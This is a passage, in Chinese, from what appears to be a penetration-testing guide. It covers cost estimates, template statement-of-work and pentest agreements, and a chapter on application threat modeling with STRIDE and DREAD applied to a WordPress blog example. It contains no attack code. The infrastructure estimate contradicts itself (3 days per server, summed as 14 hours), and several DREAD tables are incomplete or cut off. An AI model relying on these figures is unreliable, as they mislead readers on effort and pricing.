| 关键数据配置 | 数据库保存信用卡和凭证,但未考虑最新的安全最佳实践。 | 8 小时 |
| 日志记录 | 异常堆栈跟踪保存到数据库中。此信息应进行审查。 | 4 小时 |
| 技术问题 | 客户没有使用最新的.NET 框架最佳实践。 | 不适用 |
| 需要手动测试的关键类 | 150 个类需要手动评估。 | 2 小时/类:300 小时 |
| 代码行数 | 约 10,000 行代码 | 1 天 – 8 小时 / 每千行代码:80 小时 – 10 天 |
在阅读并分析前面的基础设施图后,我们的渗透测试员在会议期间编写了以下表格:
| 服务器类型 | 地址 | 估算 |
|---|---|---|
| Web – IIS Server 8.0 | 10.100.100.100 | 3 天 – 24 小时 |
| FTP – Microsoft Server 2012 | 10.100.100.100 | 3 天 – 24 小时 |
| Telnet – Microsoft Server 2012 | 10.100.100.100 | 3 天 – 24 小时 |
| DB – MS SQL Server 2012 | 10.0.0.201 | 5 天 – 24 小时 |
最终,我们的团队能够对项目进行全球估算,并能够在工作声明中向客户提供以下费用:
-
Web 应用入侵测试:160 + 160 + 20 + 15 = 355 小时
-
代码审查:4 + 8 + 4 + 300 + 80 = 396 小时
-
基础设施:3 + 3 + 3 + 5 = 14 小时
-
应用威胁建模:16 小时
-
信息收集:9 小时
-
总计:790 小时
这将给出以下最终估算结果:
| 项目 | 编号 | 持续时间 | 费用 100$/小时 |
|---|---|---|---|
| 网站入侵测试 | 1 个网站 | 355 小时 | 35,500$ |
| 服务器基础设施测试 | 2 台物理服务器 | 14 小时 | 1,400$ |
| 应用威胁建模 | 1 份文档 | 16 小时 | 1,600$ |
| 代码审查 | 10000 行代码 | 396 小时 | 39,600$ |
| 信息收集 | 无 | 9 小时 | 900$ |
| 总计 | 790 小时 | 79,000$ |
您可能会看到这些数字并说:“这太贵了!”根据我的经验,我可以告诉您,扫描仪会生成很多假阳性结果;您的任务是识别它们,这需要花费大量时间。如果您想将扫描仪生成的报告交给客户,那就是不专业。优质的工作需要时间和金钱。
工作声明
本文件是您作为渗透测试员开始工作的一份正式协议。该文件的目的是定义:
-
客户期望
-
工作范围
-
工作进度安排
-
定价
-
所有渗透测试结束时的可交付成果
-
付款条款
-
法律协议
-
最终,签名
当然,如果您认为这些信息不足,可以添加您自己的内容。根据您的喜好和经验进行调整。以下是工作声明合同的示例。
工作声明 – Web 应用渗透测试:
For [Client Company Name] [Date]
内容:
-
描述
-
期望
-
范围
-
时间表
-
定价估算
-
可交付成果
-
付款条款
-
协议
-
签名
描述:
[贵公司名称]将承担所有必要任务,以帮助客户满足其 Web 应用程序的机密性、完整性和可用性业务要求,旨在实现为客户交付结果和良好服务的业务目标。
[贵公司名称]将为[客户公司名称]提供 Web 应用程序渗透测试服务。此服务将涵盖所有必要的安全测试,确保[客户公司名称]的网站得到保护。[贵公司名称]将前往客户现场,进行所有渗透测试活动,并尝试通过利用所有已发现的漏洞来测试所有的假阳性。
在安全测试结束时,[贵公司名称]将向[客户公司名称]呈交一份专业报告,展示其 Web 基础设施中的所有残留漏洞。[贵公司名称]将确保报告清晰简洁,符合客户的需求。
期望:
-
在开始每次测试之前,[客户公司名称]将签署一份渗透测试协议。这份协议将授权[贵公司名称]进行每次适当的安全测试。
-
[贵公司名称]将在客户公司提供一个房间,用于进行渗透测试。该房间应为私人且封闭,以确保机密性。顾问应被允许使用洗手间。客户应确保每位渗透测试员都有访问卡,以便进入客户公司设施。
-
[贵公司名称]将获得所有必要的文件和信息,以便顺利进行渗透测试。
-
[客户公司名称]应始终提供一名主要联系人,以协助渗透测试员解决他们在完成任务过程中遇到的任何问题。
-
[贵公司名称]提供的服务旨在提升客户的安全态势。这些服务无法消除所有风险,无论是来自未经授权的还是授权方对环境的影响。
-
[客户公司名称]应理解,安全测试活动可能由于使用测试工具的激进性而无意中导致服务中断。[贵公司名称]不对任何服务中断负责。
-
[客户公司名称]将同意支付任何额外的服务费用(例如培训)。
范围:
本项目将包括多名渗透测试员,他们将确保测试 Web 应用程序及其基础设施。[贵公司名称]将提供所有必要的工具和专业知识以进行渗透测试。
[贵公司名称]将尝试使用以下方法进行渗透测试:
-
应用威胁建模:一旦[贵公司名称]与客户完成启动会议,[贵公司名称]将准备一份《应用威胁建模架构》文档,并提供给[客户公司名称],以识别、量化并解决安全风险,在开始渗透测试活动之前。
-
代码审查:客户需要确保将源代码副本交给[您的公司名称]以进行安全代码审查(静态代码分析)。[您的公司名称]将使用所有必要的工具来识别导致安全风险的所有不当安全实践。
-
Web 应用程序入侵测试:[客户公司名称]将向负责渗透测试的顾问提供所有必要的关于其网站的信息,包括 URLs 和不同账户的凭证。[您的公司名称]将尝试利用在入侵测试中发现的漏洞进行攻击。
-
基础设施测试:与[客户公司名称]的 Web 应用程序相关的任何服务器将接受漏洞扫描。将使用工具和技术进行漏洞评估,确保这些服务器不具备风险。
-
信息收集:此活动将帮助[客户公司名称]识别任何在互联网上的信息泄露。
-
报告:[您的公司名称]将记录之前提到的每个安全测试。[您的公司名称]将提供一份专业报告,帮助客户识别和量化其 Web 应用程序基础设施中的所有风险。
时间安排:
上述服务概述部分中提到的每项测试预计需要大约 5 个工作日完成。最终报告将在测试完成后约 2 周内提供。[您的公司名称]和[客户公司名称]将在合同签署后的 30 天内确定开始日期。工作日为周一至周五,上午 8:00 至下午 5:00,[客户公司名称]的当地时间,不包括[您的公司名称]的官方假期。
价格估算:
[您的公司名称]将完成所有必要的工作以进行安全测试,从而为客户提供更好的安全态势。[您的公司名称]将按照每小时 100$的费用向[客户公司名称]收费。为成功实现这一目标,将提供以下服务:
| 项目 | 数量 | 持续时间 | 成本 100$/小时 |
|---|---|---|---|
| 网站入侵测试 | 1 个网站 | 355 小时 | 35,500$ |
| 服务器基础设施测试 | 2 台物理服务器 | 14 小时 | 1,400$ |
| 应用程序威胁建模 | 1 份文档 | 16 小时 | 1,600$ |
| 代码审查 | 10000 行代码 | 396 小时 | 39,600$ |
| 信息收集 | 无 | 9 小时 | 900$ |
| 总计 | 790 小时 | 79,000$ |
交付物:
[您的公司名称]将进行本文件中提到的所有必要的安全测试。所有测试完成后,我们的团队将确保通过安全文件传输方式将报告交付给[客户公司名称]。
付款条款:
[客户公司名称]将在收到发票后 30 天内支付[您的公司名称]。在签署本合同后,初期将收取总价的 50%。
协议:
[在此部分,您列出您的公司期望与客户签订的所有法律协议,填写此部分时最好请当地律师进行审核。]
签名:
[贵公司名称]和[客户公司名称]应同意此文件并在下方签名。
渗透测试协议
本合同将列出所有必要的信息,以便您和为您工作的顾问能够进行并执行渗透测试活动。以下展示了包含这些标题的示例合同:
-
合同简要描述
-
您的主要联系人和客户的主要联系人
-
如何交换机密信息
-
不同的渗透测试活动及其详细信息
-
发生不良情况时的责任范围
-
最后,合同签字
Web 应用程序渗透测试协议:
For [Client Company Name] [Date]
内容:
-
描述
-
联系人
-
机密信息交换
-
Web 应用程序入侵测试
-
代码审查
-
基础设施安全测试
-
信息收集
-
责任范围
-
签名
描述:
本文件描述了[客户公司名称]的应用程序渗透测试活动执行。此文件确定了各方的联系人和机密信息的交换方式。此文件将列出所有必要的信息,以便我们的顾问进行渗透测试工作。
联系人:
[Your Company Name] Contact: Miss [Jane Doe] Title: Application Security Coordinator Phone: [111222 3333] Email: [email@yourcompany.com] [Your Company Name] Contact: Mr. [Joe Xing] Title: Application Security Manager Phone: [111222 4444] Email: [email@yourcompany.com] [Client Company Name] Contact: Mr. [Don Moe] Title: IT Manager Phone: [111333 5555] Email: [email@clientcompany.com] [Client Company Name] Contact: Mr. [Jenny Doe] Title: Administrative Assistant Phone: [111333 6666] Email: [email@clientcompany.com]
机密信息交换:
对于机密信息,我们将在云端建立一个安全平台,供[贵公司名称]和[客户公司名称]安全地上传和下载所有完成渗透测试所需的文档。
要访问云环境,请访问:[www.your-secure-environment.com]。
[客户公司名称]将通过安全邮件提供用户名和密码。
Web 应用程序入侵测试:
为了成功执行 Web 应用程序入侵测试,[客户公司名称]应将所有必要的信息提供给[贵公司名称]的顾问:
| 网站 | http://www.yourclientdomain.com |
|---|---|
| 登录凭据 | 将安全发送至云平台 |
| 开始日期 | 2017 年 2 月 1 日 |
| 持续时间 | 355 小时 |
| 约束条件 | 无拒绝服务攻击 |
| 测试工具 | Burp Suite |
| 方法论 | OWASP 指南 |
| 备注 | 不适用 |
代码审查:
[贵公司名称]将进行安全代码审查,[客户公司名称]应提供所有必要的信息:
| 应用程序 | http://www.yourclientdomain.com |
|---|---|
| 代码行数 | 10000 |
| 内容 | 源代码将安全上传至云平台 |
| 开始日期 | 2017 年 2 月 15 日 |
| 持续时间 | 396 小时 |
| 约束条件 | 不适用 |
| 测试工具 | Veracode |
| 备注 | 需要进行一些手动测试 |
基础设施安全测试:
[贵公司名称] 将对与 Web 应用程序相关的每个服务器进行所有必要的安全测试。[客户公司名称] 应提供所有必要的信息:
| 服务器 | Web: IIS Server 8.0: 10.100.100.100 FTP: Microsoft Server 2012: 10.100.100.100 Telnet: Microsoft Server 2012: 10.100.100.100 DB: MS SQL Server 2012: 10.0.0.201 |
|---|---|
| 开始日期 | 1/Jan/2017 |
| 持续时间 | 14 小时 |
| 限制 | 不适用 |
| 测试工具 | Nessus 和 Metasploit |
| 备注 | [贵公司名称] 将等待服务器资产经理的签名 |
信息收集:
[贵公司名称] 将利用互联网资源收集关于 [客户公司名称] 的信息。这项活动将帮助 [客户公司名称] 识别互联网上的任何信息泄露:
| 开始日期 | 15/Jan/2017 |
|---|---|
| 持续时间 | 9 小时 |
| 备注 | 不适用 |
责任范围:
[填写此部分时,最好与当地律师核对]
签名:
[贵公司名称] 和 [客户公司名称] 应就此文档达成一致并在下方签名。
外部因素
您的客户的应用程序总是有可能与第三方服务和远程基础设施交互。如我之前提到的,您需要律师陪伴,以便为您提供有关测试的建议。您需要向客户询问以下重要问题,关于他们与第三方的合作。
您的客户应用程序是否与第三方 Web 服务交互?如果答案是肯定的,那么您需要获得客户的许可,以便调查第三方的活动。如果客户同意,您需要让他们安排与第三方代表的会议。在与第三方的访谈中,询问以下问题:
-
第三方是否收集有关您的客户的信息?如果是,收集的是什么信息?
-
Web 服务使用的是什么身份验证模式?您需要确保第三方提供了安全的身份验证机制。
-
应用程序托管在哪里?如果应用程序托管在外国,那么您需要检查该国的隐私法规。
-
通信是如何加密的(HTTP 和 HTTPS)?这个问题将确保传输中的信息是保密的。
如果第三方(您的客户供应商)持有您客户的敏感信息,那么您需要深入挖掘并询问以下问题:
-
您是否对您的服务器进行静态和动态安全测试?如果答案是肯定的,那么请向供应商索取这些测试的高级报告。
-
当发布安全补丁时,您如何与客户沟通?
-
您多久发布一个新版本到生产环境?
-
当客户拨打您的支持热线时,您如何处理?在这个问题中,您需要确保支持人员能够以安全的方式识别您的客户。
你的客户的应用程序是否托管在云端?如果答案是“是”,那么你需要请求云服务商的许可进行渗透测试:
-
对于Amazon AWS,你可以使用以下链接提交表单:
aws.amazon.com/security/penetration-testing/?nc1=h_ls -
对于Microsoft Azure,你也可以使用以下链接提交表单:
security-forms.azure.com/penetration-testing/terms
总结
我希望你喜欢本章内容,我知道其中没有包含一些令人兴奋的黑客命令,但如果你打算从事这个领域的工作,你应该了解预参与阶段。
让我们总结一下你在本章中学到的内容:
-
关于你与客户的第一次会议
-
什么是保密协议
-
如何启动一次会议
-
如何估算你项目的时间和成本
-
什么是工作声明?
-
什么是渗透测试协议
-
渗透测试项目的外部因素
在下一章中,你将学习到应用程序威胁建模,这对我来说是成功应用安全任务的支柱之一。
第七章:应用威胁建模
我已经为这个话题专门安排了整整一章,因为人们往往低估了应用威胁建模(ATM)的重要性。如果你是应用安全的员工或顾问,你将总是遇到需要在其产品发布新版本的项目,在它们部署到生产服务器之前,你需要确保对这些项目进行测试。ATM 发生在项目的架构阶段,这时候项目还在初期阶段。事实上,ATM 是一个安全架构文档,它能帮助你识别未来的威胁,并指明在未来部署网站应用程序项目时需要执行的不同渗透测试活动。
下面是这一精彩章节的计划:
-
介绍软件开发生命周期
-
一瞥应用威胁建模
-
现实生活中的应用威胁建模
-
应用威胁建模文档的结构和内容
-
一个应用威胁建模文档的实际示例
本章(以及本书中的许多原则)都可以在OWASP网站上找到。我强烈建议你在处理应用安全的日常任务时,时刻关注 OWASP 网站:www.owasp.org。
软件开发生命周期
每个应用程序都必须经过开发生命周期,然后才能部署到生产环境中。首先,项目团队提出一个新产品(如网站)的构想,该产品将帮助公司赚取更多的钱和客户。这是分析/架构阶段,大家围坐在一起讨论新项目的所有挑战。在这个阶段结束时,将产生一份架构文档,并提交给架构委员会,若该项目符合公司政策,委员会将批准它。获批后,项目将进入开发阶段,开发团队和质量保证工程师将共同合作,交付产品。经过几轮迭代后,一个稳定版本将准备好部署到生产环境中;团队将测试该应用程序,确保它没有漏洞。如果一切顺利(符合要求),团队将继续推进,并将该网站应用程序部署到生产环境中:

作为一名应用安全专家,你在这个工作流程中扮演着重要角色。在第一阶段的架构/分析阶段,你需要参加会议,了解新应用程序。一旦架构文档完成,你将创建你的 ATM 文档。之后,在开发阶段,你将根据最初编写的 ATM 文档执行所有渗透测试活动(源代码审查、网络入侵测试和基础设施安全测试)。
一瞥应用威胁建模
ATM 是一种分析应用程序安全态势的方法,旨在帮助你在开始渗透测试活动之前铺设基础。该文档应在架构阶段解决安全风险,通过在项目进入开发阶段之前识别和量化这些风险。你会看到很多处理威胁建模文档的方法(我推荐的最佳方法是 OWASP 的应用威胁建模文档;自己查看一下,你就会明白我的意思),但根据我的个人经验,我建议你尽可能简化,不要浪费时间过度描述应用程序的安全风险,因为在这种情况下,你实际上是在重复信息安全风险评估文档的内容。将该文档作为指南和头脑风暴工具,用于实现渗透测试活动的目标。
在你开始撰写此文档之前,你需要参加一些会议(项目启动会议),以便了解你将要测试的应用程序。通常,在架构阶段结束时,会生成一份详细的架构文档,这将帮助你最终确定你的工作内容。
现实中的应用威胁建模
本章结束时,我将提供一个 ATM 文档的实际示例。如果你觉得我在这里讨论的某些内容不够清晰(过于理论化),我邀请你查看本章末尾的示例。如果你希望你的团队在渗透测试阶段取得成功,那么你必须在渗透测试活动之前编写一份 ATM 文档。让我举一个我每天都能见到的例子。当我使用这种方法时,一个新的项目开始了,项目经理(PM)联系管理层,寻求应用安全方面的专家,因为他们将要建设一个新的网站。管理团队随后将你分配到这个仍处于架构阶段的新项目。你参加几场会议,以了解项目的内容。很可能,信息安全部门的另一名安全分析师也会被指派参加这些会议,因为他的工作是为同一项目编写风险评估文档。当项目团队准备好后,将通过电子邮件发送架构文档。然后,我可以开始编写我的应用威胁建模文档,并将副本发送给信息安全分析师和项目经理,以便他们将其作为下一阶段工作的指南。请参阅下表,了解每个阶段是如何受到我们干预的影响的。
这张表列出了我在多个大公司中见过的行动清单;你所在的公司可能有不同的方法,但这是我见过的最好的方法:
| 需求 | 架构 | 开发 | 部署前门控 | 生产 |
|---|
| 培训:开发人员、开发主管和架构师应接受关于应用安全最佳实践的培训。公司应鼓励 IT 的安全培训。每个团队成员都应了解自己的角色:
-
安全冠军
-
开发主管
-
开发人员
-
质量保证代理
-
项目经理
-
架构师
-
应用安全代理
-
信息安全代理
-
架构同行审查团队
-
运营安全
-
部署门控代理 | 架构阶段:项目团队将邀请应用安全代理(ASA)参加他们的启动会议。通过参加这些会议,ASA 将发现设计中的任何缺陷,并可以就应用安全提出建议。应用威胁建模:最终,ASA 应编写一份应用威胁建模文档,该文档将与信息安全代理(ISA)编写的安全风险评估一起保存。 | 沟通:在开发阶段有一些重要的关键角色:安全冠军:通常是开发主管,此人将与应用安全代理沟通,以修正静态/动态代码分析中的缺陷。误报总是存在的,因此 ASA 的角色是帮助冠军区分好的缺陷和坏的缺陷。安全冠军将确保他/她的团队遵循安全编码的最佳实践。QA:质量保证代理应该知道谁是 ASA,因为他们将需要彼此确定预生产环境何时准备好进行测试。 | 入侵测试:在部署到生产环境之前应执行手动入侵测试。在开发阶段执行的自动化测试不足以解决任何隐藏的基于 Web 应用程序的漏洞。代码审查:应进行手动静态代码分析,ASA 应该足够专业,不依赖自动化工具发现漏洞。基础设施测试:将针对将部署应用程序的 Web 服务器执行网络漏洞评估,以发现和评估现有的漏洞。信息安全:ISA 将获得测试结果,并将与高级管理层沟通,签署与部署 Web 应用程序相关的任何风险。 | 运营安全:运营安全代理(OSA)将了解新应用程序的部署,并将审核 ASA 和 ISA 编写的所有安全文档。 |
| 需求:应为开发人员提供安全编码标准。这份文档应该在开发人员加入公司后的第一天就交给他们。拥有这份文档将减少后期开发生命周期中的安全漏洞。 | 同行评审:在每个人完成自己的工作并且我们拥有正式的架构文档以及之前提到的安全文档后,同行评审委员会将验证一切是否符合公司政策。 | 通常,QA 将为 ASA 提供测试凭证和测试的 URL。PM:项目经理将与 ASA 沟通工作时间表,并解决任何可能延迟项目部署的障碍。 | 门控:部署门控代理将在允许项目进入生产之前检查是否执行了安全测试。部署门控代理将与 ISA 和 ASA 通信,以验证一切是否正确完成。 | 健康检查:OSA 将确保应用程序定期测试(至少每年一次)。测试应涵盖三个类别:源代码、入侵测试和基础设施测试。 |
|---|
ATM 文档的一个大优点是,它能让我在执行测试时记住项目的整体内容。实际上,在架构阶段和项目部署到生产环境之间会有数月的延迟。通常,你并不是只处理一个项目,由于将要遇到大量的测试,这份文档将成为你的参考,帮助你记住项目开始时发生了什么。
应用威胁建模文档部分
ATM 文档包含多个部分。事实上,这份文档可能长达 40-70 页。理解每个部分对于成功完成项目至关重要。我知道我之前告诉过你要保持文档简洁,但也不能简化得过头;你不应该遗漏 ATM 文档中的重要细节。
所以,这里是 ATM 文档应包含的最重要部分的列表:
-
数据流图
-
外部依赖
-
信任级别
-
入口点
-
资产
-
测试策略
-
安全风险
数据流图
我把这个标题数据流图(DFD)放在开头是有原因的,因为这是我最喜欢的部分,我会将其作为 ATM 文档中的参考。数据流图将通过提供网页应用程序各个部分的可视化表示,帮助我们更好地理解应用程序。DFD 的重点是数据如何从用户端流动,直到到达其最终目的地(例如数据库或文件系统)。通常,我使用在架构阶段你已经收到的架构文档(该文档应包含应用程序的架构图)来开发数据流图:

从前面的图示可以看到,应用程序安全社区在设计 DFD 时使用了多种形状:
- 外部实体:此形状表示与应用程序交互的实体(例如,客户、员工、经理等):

- 权限边界:权限边界形状用于表示数据在系统不同区域流动时,权限级别的变化。它由红色虚线表示(参见前面的 DFD 示例)。
此外,我使用虚线矩形形状将一组项目的边界进行分组(例如,公司内部的边界)。
- 数据流:数据流形状表示数据在应用程序内部的流动。数据流动的方向由箭头表示:

- 子流程:此形状用于表示一组子流程。当你知道任务可以在另一个数据流图(DFD)中分解成子流程时,使用此形状:

- 过程:过程形状表示在应用程序内部处理数据的部分。实际上,我大多数时候使用子流程形状,但这是我的方法,你不必强迫自己按照我的方法(有时跳出常规,不受形状束缚是件好事):

- 数据存储:数据存储形状用于表示数据存储的位置(例如,文件和数据库)。我通常使用以下形状:

我也使用这个形状(OWASP 风格):

以下是我自己总结的一些规则,用于成功绘制 DFD 图:
-
保持简单(不要加入过多细节),但也不要忽视重要的细节
-
要有艺术感,不要仅仅成为社区设计的奴隶,你也可以有自己的设计(如果你有经理,可以与其讨论这个问题)
-
该图应该是自解释的,即使你在一年(或更长时间)后再看,也能轻松理解。
外部依赖项
这个形状有时会令人困惑,因为它的名称。外部依赖项通常是与网络应用程序交互的项目。这里的例子不胜枚举,但以下是你最常遇到的几种:
-
网络服务器厂商/操作系统(例如,IIS、Apache 和 Linux Redhat)
-
数据库服务器操作系统及版本(例如,MSSQL、MySQL、Oracle 和 Windows Server 2016)
-
防火墙及其版本(例如,Palo Alto 防火墙)
-
网络服务服务器(例如,IBM Datapower)
-
外部供应商的网络服务/云服务(例如,MS Azure、Amazon 和云服务)
在外部依赖部分中不要列出所有详细信息,如思科交换机或路由器;你明白的。
信任级别
信任级别代表应用程序将授予与其交互的任何实体的访问权限。例如,如果 Web 应用程序将其数据存储在数据库后端,那么问问自己:谁与数据库交互?简单的答案可能是数据库管理员、数据库读取用户和数据库读/写用户。你应该对每个与 Web 应用程序交互的项目提问这个问题(例如,Web 服务、文件系统、日志等)。
入口点
入口点是潜在攻击者与应用程序交互的方式(读/写数据)。示例可以是任何网页或 Web 服务端点。如果你有一座房子,这就代表着房子的任何门窗,允许小偷进入并偷取东西。
资产
资产是黑客可能感兴趣的应用程序的不同部分(也称为威胁目标)。大多数时候,攻击者关注的是数据,但这里还有一些你可以在开发该部分时使用的更多示例:
-
读取用户数据(例如,密码、信用卡、个人信息)
-
执行未经授权的功能(例如,添加新用户和删除账户)
-
访问未经授权的系统(例如,通过终端窗口访问数据库、访问 Web 服务器文件系统)
-
不同系统的可用性(例如,针对 Web 服务器的 DOS 攻击)
测试策略
你的 ATM 文档应该包括在部署到生产环境之前,你将执行的不同安全测试。你需要向项目方解释你为何进行这些测试,以及这项任务所需的必要细节。例如,你需要指定测试环境(开发、预生产或生产)。另外,你是否需要凭证进行测试?如果需要,多少个凭证?(例如,管理员或访客。)
安全风险
ATM 文档并不是风险评估的替代品,但它是一个指导,帮助你仅关注高层次的应用程序安全风险。
始终提出以下问题,以快速了解整个应用程序的风险级别:
-
应用程序是否处理任何机密数据?Y/N
-
应用程序是否会向后端写入数据?Y/N
-
是否对公司的公共形象有影响?Y/N
-
是否对公司客户有影响?Y/N
-
应用程序是否可以从互联网上访问?Y/N
-
应用程序是否可以从移动设备访问?Y/N
-
应用程序是否与第三方服务交互?Y/N
-
应用程序是否由第三方开发?Y/N
等一下,还有更多——这只是一个总体问卷,可以帮助你入门。接下来,你需要使用STRIDE方法对攻击者的目标进行分类,STRIDE 代表:
-
欺骗:当黑客窃取受害者的凭证/会话时
-
篡改:威胁通过操控静态数据和传输数据来完成
-
否认:当我们无法追踪是谁做了什么时,就会发生这种情况
-
信息泄露:这种威胁使黑客在未授权的情况下揭露机密信息
-
拒绝服务:目标是使系统无法为客户使用的威胁
-
特权提升:针对远程系统获取管理员权限的威胁
然后,我们针对每个安全威胁,使用DREAD方法为其打上风险排名点。
这里是一个简单的DREAD排名说明:
-
损害(影响?)
-
可重现性(有多容易?)
-
可利用性(所需时间和努力?)
-
受影响的用户(有多少用户,包括客户和员工?)
-
可发现性(容易发现吗?)
计算时,你需要为每一项打分,分数范围为 1 到 10,其中 1 表示低,10 表示高。然后,将所有分数相加,再除以五,得到平均值。别担心,稍后你将看到一个实际示例;目前,先尝试理解大概概念。
使用 DREAD 评分/评级的方式很简单;下表讲述了这一过程:
| 名称 | 高 (8-10) | 中 (4-7) | 低 (1-3) | |
|---|---|---|---|---|
| D | 损害 | 攻击者可以颠覆安全系统;上传内容;获取远程 Shell;以管理员身份运行。 | 泄露一些机密信息。 | 泄露非机密信息。 |
| R | 可重现性 | 可以在短时间内重现。 | 在某些情况下可以重现。 | 很难重现攻击。 |
| E | 可利用性 | 一个脚本小子可以利用该漏洞。 | 需要一些技能才能利用该漏洞。 | 需要高度先进的技能才能利用该漏洞。 |
| A | 受影响的用户 | 超过 1,000 名客户受到影响。 | 介于 100 到 1,000 名客户受到影响。 | 少于 100 名客户受到影响。 |
| D | 可发现性 | 可以使用简单工具轻松发现。 | 发现漏洞需要一些技能。 | 发现漏洞非常困难。 |
一些人喜欢使用信息安全公式来计算安全风险:
风险 = 可能性 x 影响
实际示例
我们的实际示例基于 XYZ 公司。XYZ 的营销团队希望添加一个博客页面以吸引更多客户,并且他们想将这个项目命名为 xBlog。你参加了几次启动会议,现在,他们终于把架构文档发给你了,里面有以下图表:

根据此图,客户(用户)可以从任何地方访问博客,并可以添加评论(客户的身份验证过程不在本范围内,因为客户将通过公司网站的主页进行身份验证)。另一方面,XYZ 的员工可以通过 WordPress CMS 添加博客或批准客户评论。很简单,对吧?作为应用安全专家,你的工作是在架构评审委员会之前提交 ATM 文档给项目团队;让我们开始吧!
xBlog 威胁建模
与[公司名称]的目标合作,旨在保护其数字信息资源的安全,了解与正常业务运营中使用[xBlog]应用相关的安全风险和威胁,对于[公司名称]的管理层至关重要。
本文档包含使用应用威胁建模技术的安全评估报告。我们将评估[xBlog]应用,以了解可能对[公司名称]业务运营产生影响的安全风险。
范围
本文档仅适用于[公司名称]的[xBlog]应用。[xBlog]应用物理位置位于[公司名称]的设施中。
威胁建模
[要在这里定义威胁建模,请参考本章节的应用威胁建模概览部分。]
项目信息
在本节中,我们将添加[xBlog] web 应用的描述。下表旨在识别该项目的全貌,并识别将与之互动的用户:
| 应用版本 | [xBlog v1.0] |
|---|
| 描述 | [xBlog]应用是一个新应用,旨在服务于[公司名称]的客户,允许他们阅读博客及其评论。博客[blog.domain.com]将使用 WordPress CMS 单独托管。一个本地管理员可以通过添加新文章和管理博客评论来管理博客。该应用将由两类用户使用:
-
客户
-
WordPress 管理员
|
| 文档拥有者 | 古斯·卡瓦贾 |
|---|---|
| 参与者 |
-
约翰·多(解决方案架构师)
-
简·多(项目经理)
-
埃利奥特·多(信息安全总监)
|
数据流图
[要在这里定义数据流图,请参考本章节的数据流图部分:]

外部依赖
[要在这里定义外部依赖,请参考本章节的外部依赖部分:]
| ID | 描述 |
|---|---|
| 1 | 网站[www.domain.com]由 Cisco 防火墙保护在 DMZ 区域,唯一可用的通信方式是 TLS。 |
| 2 | 网站[www.blog.domain.com]使用 WordPress,并通过 Cisco 防火墙保护在 DMZ 区域。唯一可用的通信方式是 TLS。 |
| 3 | WordPress 的管理页面 [wpadmin.blog.domain.com] 可通过 HTTPS 链接在内部访问。 |
| 4 | [www.domain.com] 的 Web 服务器正在使用 Microsoft IIS 和 Windows Server 2016,并安装了最新的安全补丁。(请参阅内部网 [rs66988_nessus.pdf] 上的 Nessus 报告。) |
| 5 | [www.blog.domain.com] 的 Web 服务器正在使用 Apache 和 Ubuntu Server 2016,并安装了最新的安全补丁。(请参阅内部网 [rs56389_nessus.pdf] 上的 Nessus 报告。) |
| 6 | 数据库正在使用 MySQL,并存储在与 Web 应用程序相同的服务器上。(请参阅内部网 [rs56389_nessus.pdf] 上的 Nessus 报告。) |
| 7 | 客户将通过位于网站菜单上的超链接[www.domain.com] 访问博客,该超链接将重定向他们到[www.blog.domain.com]。 |
信任级别
[要在此定义信任级别,请参考本章的信任级别部分:]
| ID | 名称 | 描述 |
|---|---|---|
| 1 | 匿名网络用户 | 这是任何试图使用[xBlog] 应用程序的匿名网络用户。这种类型的用户将阅读博客,但由于他们之前没有登录,将无法添加评论。 |
| 2 | 客户 | 客户将使用[xBlog] 应用程序阅读博客并添加评论。客户应登录以添加评论到博客文章。 |
| 3 | WordPress 管理员 | WordPress 管理员将管理网站并批准博客文章。管理员的角色还包括在客户评论上线之前批准客户评论。 |
| 4 | 博客创建者 | 博客创建者将创建一个新博客,管理员将在发布之前批准此博客。 |
| 5 | 数据库管理员 | 数据库管理员是一位 MySQL 专业人士,将确保维护和管理存储 WordPress 数据的数据库。 |
入口点
[要在此定义入口点,请参考本章的入口点部分:]
| ID | 名称 | 描述 | 信任级别 |
|---|---|---|---|
| 1 | HTTPS | 网站只能通过 TLS 访问。该网站的所有页面也将使用它。 |
-
匿名网络用户
-
客户
|
| 2 | 博客页面 | 这是博客文章列表页面。 |
|---|
-
匿名网络用户
-
客户
|
| 3 | WordPress 登录页面 | WP-Login 页面将是员工用来登录 WordPress 的页面。 |
|---|
-
WordPress 管理员
-
博客创建者
|
资产
[要在此定义资产,请参考本章的资产部分。可选地,您可以将信任级别(用户)作为此表的附加列添加,但我在我的 ATM 文档中大多数情况下不包括它;这是您的选择:]
| ID | 名称 | 描述 |
|---|---|---|
| 1 | 博客 | 与博客网站相关的资产 |
| 1.1 | WordPress 访问 | 获取管理员/版主的凭据以访问 WordPress 平台 |
| 1.2 | 网站的可用性 | 使网站对客户或管理网站的员工不可用的能力 |
| 2 | 数据库 | 与保存网站数据的 MySQL 数据库相关的资产 |
| 2.1 | 访问数据库 | 能够本地或远程访问 MySQL |
| 2.2 | 数据库可用性 | 使数据库对用户不可用 |
| 2.3 | 执行 SQL 语句的能力 | 能够执行 SQL 查询来提取或操纵数据库中的数据 |
| 2.4 | 访问审计日志数据 | 访问审计日志查找机密信息 |
威胁列表
[要在此定义安全风险,请参考本章的安全风险部分。]
伪造 – 身份验证
| 威胁描述 | 威胁行动旨在非法访问和使用另一个用户的凭据,如用户名和密码。 |
|---|---|
| 威胁目标 | 客户和员工凭据。 |
| 攻击者步骤 | 攻击者可以执行以下操作:
-
通过社会工程学窃取凭据
-
对系统进行暴力破解尝试
-
执行 SQL 注入绕过身份验证或提取用户凭据
-
截取并窃取用户的会话 Cookie
|
| 对策 |
|---|
-
安全密码策略
-
会话超时
-
针对暴力破解攻击的账户锁定
-
记录失败的尝试
-
针对 SQLi 和 XSS 的验证
-
WordPress 的管理员控制台仅能通过内网访问
|
| 现有对策 | 暂无 - 这是一个新项目 |
|---|
DREAD 评估如下:
| DREAD | 详细信息 | 得分 /10 |
|---|---|---|
| 损害 |
-
获取管理员账户将使黑客能够上传远程 Shell 并控制主机
-
获取客户账户将使黑客只能代其发布博客
| 8 |
|---|
| 可重现性 |
| 可利用性 |
| 受影响的用户 |
| 可发现性 |
篡改 – 完整性
| 威胁描述 | 威胁行动主要旨在改变静态或传输中的数据。 |
|---|---|
| 威胁目标 | 网站数据。 |
| 攻击者步骤 | 攻击者可以为这种类型的威胁执行以下操作:
-
可以通过 SQL 注入攻击/XSS 攻击来操纵数据
-
内部攻击者可以通过直接访问数据库来操纵数据,而无需拥有正确的权限
-
攻击者可以拦截通信并进行篡改
|
| 对策 |
|---|
-
WordPress 的管理员控制台仅能通过内网访问
-
数据库无法直接由数据库管理员访问(只能通过 WordPress 访问)
-
通信仅能通过 TLS 进行访问
|
| 现有对策 | 暂无 - 这是一个新项目。 |
|---|
DREAD 评估如下:
| DREAD | 详情 | 得分/10 |
|---|---|---|
